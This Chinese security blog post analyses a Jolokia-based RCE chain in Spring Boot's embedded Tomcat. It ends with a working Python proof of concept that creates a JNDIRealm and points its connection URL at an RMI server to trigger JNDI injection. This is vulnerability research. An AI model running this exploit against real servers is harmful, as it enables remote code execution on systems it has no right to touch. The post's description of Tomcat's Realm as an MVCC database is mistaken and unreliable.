作者:Lucifaer
博客:https://www.lucifaer.com
本文接上文,這里不會分析原文章中所說的/env這種利用的方法,而是說一下rr大佬的發現的另外一條利用鏈。
0x01 檢查MBean
如果說不存在ch.qos.logback.classic reloadByURL這個MBean,還能不能造成RCE呢,這個是我在看完文章后的一個想法。如果說想要解決這個問題,我們需要再看看/jolokia/list中還有哪些利用鏈可用(真的是太多了T T,由于當時看完記得是在Spring Boot中內嵌的Tomcat中,所以直接看的這個類,然而這個類差點也看跪了T T)。
最終找到org.apache.catalina.mbeans.MBeanFactory這個可能能造成JNDI注入的類,其中有以下這么幾個方法從注釋的描述中感覺是可以造成JNDI注入的:
- createUserDatabaseRealm
- createDataSourceRealm
- createJNDIRealm
這幾點中只有最后的createJNDIRealm是可用的,但是他們前面的處理流程都是一樣的,接下來就將他們前面的處理流程簡單的分析一下,并說明為什么只有createJNDIRealm是可用的。
0x02 Realm創建流程分析
Realm是一個MVCC數據庫,而MVCC是用于解決多版本并發問題的一個方法。有關Realm的一些具體介紹可以參考這篇文章。而我自己的理解是就是它給每一個連接的線程建立了一個“快照”,當兩個請求同時到達一個線程時,程序不會造成阻塞,而是會在這個“快照”(也是一個線程)中進行操作,當執行完成后,阻塞合并更改(有點像git):

然而Realm的原理跟我們主要要說的關系不大,tomcat在創建不同的Realm時其實大致的流程都是相同的,只是最后的具體實現不同而已,比如上一節中說道的三個Realm的創建在代碼實現流程上是極為相似的:



所以我們跟一下紅框的部分然后看具體實現就好。
不難看出關鍵點在于container.setRealm(realm);,跟進看一下:

如果不存在則創建一個新的realm,這里涉及到Lifecycle的一部分設計與實現,如果想要了解Lifecycle的細節的話,可以參考這篇文章。跟進看一下:

看一下這個startInternal的具體實現,發現是一個虛類,那么看一下它的繼承關系,找一下它的具體實現:

可以看到我們所找到這三個Realm的具體實現點了。
下面說一下為什么createUserDatabaseRealm和createDataSourceRealm不能用。
-
createUserDatabaseRealm
乍一看
resourceName可控,好像可以JNDI注入,然后發現getGlobalNamingContext()返回的是一個null:
所以無法利用。
-
createDataSourceRealm
好像并不可以利用。
0x03 createJNDIRealm的利用分析
那么再來看看createJNDIRealm:

這里有兩個重要的點,createDirContext()用env來創建一個InitialDirContext,另一個點是Context.*的配置我們可以控。

那么具體的JNDI觸發點在哪里呢?我們需要著重跟一下createDirContext。
首先createDirContext最后返回一個InitialDirContext對象,而這個對象是根據env來生成的:

跟進,發現這個InitialDirContext實際上是InitialContext的子類,為什么要著重強調這一點呢?因為JDNI的兩個必備要素中就一個要求是:上下文對象是通過InitialContext及其子類實例化的,且他們的lookup()方法允許動態協議切換。

跟進看一下:

myProps通過傳入的初始上下文配置經過處理返回完整的上下文環境,可以把它看成env的“完整版”。接著向下跟進:


注意紅框部分,我們可以通過設置env中的INITIAL_CONTEXT_FACTORY來控制這里的factory,可以看一下有哪些是我們可以指定的:

可以看到我們可以指定com.sun.jndi.rmi.registry,來進行rmi的操作,來看一下具體實現:

這里的var1還是我們的env,也就是說這里的第一個參數是可控的:



var0、var1可控,還調用了lookup(),在這里完成了JDNI的注入。
0x04 構造poc
梳理一下思路,我們需要做這么幾部來完成攻擊:
- 創建
JNDIRealm - 通過
getDirectoryContextEnvironment()來設置contextFactory為RegistryContextFactory,并將connectionURL設置為自己的N/D服務器 - 重啟Realm來完成更改并執行(stop、start)
也就是說需要發4次請求。
在利用過程中get請求的構造比較麻煩這里用post請求來構造poc,關于post如何解析的可以參考get請求解析的分析流程,這里就不過多描述了。
poc:
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://localhost:1097/Exploit"
}
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
效果:

0x05 Reference
- https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle
- https://uule.iteye.com/blog/2340873
- https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/851/
暫無評論